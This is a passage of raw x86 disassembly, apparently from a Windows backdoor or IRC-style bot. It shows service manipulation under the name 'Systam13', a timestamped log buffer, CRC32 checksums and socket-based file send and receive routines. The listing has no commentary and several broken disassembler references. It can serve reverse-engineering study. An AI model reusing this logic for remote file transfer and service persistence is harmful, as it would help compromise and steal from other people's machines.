jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43F630 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43F5E4 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43F69C push [ebp+var_4] call dword_43F69C push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+4490p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_444340 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_444EC0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_444340[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_444358[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_4313B0 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_444340 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_444EC0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 25F0000h mov ebx, offset dword_443A34 mov edi, 80h mov esi, offset dword_43FA34 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43FA34 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_443A34 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43FA34 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43FA34 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 25D0362h nop pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43F61C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43F68C jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43F5D4 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43F644 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43F6E8 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43F6A8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43F6EC test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43F610 cmp eax, esi jnz short loc_40C34B push edi call dword_43F700 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_43C80C push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 25D0362h loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h nop call near ptr 25E041Ch xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43F680 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 25E041Ch push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 25D0362h sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Eo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43F668 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43F694 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43F60C push [ebp+var_2E] call dword_43F5A4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43F690 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 2630846h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax nop call near ptr 2670000h mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 push eax call dword_43F664 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43F650 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43F6FC cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43F700 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call near ptr 26B0000h nop lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 2610000h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43F6B8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43F680 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] call near ptr 2610978h nop push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43F6F4 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43F700 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 25D0362h loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax nop call near ptr 25E04A1h lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2630846h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 2610978h lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43F664 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43F6B8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43F700 push [ebp+var_1C] call sub_417078 pop ecx push 1 call near ptr 25D0362h nop loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43F700 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx call near ptr 25D0362h nop sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+3820o ; sub_40EE72+3F6Fo var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = 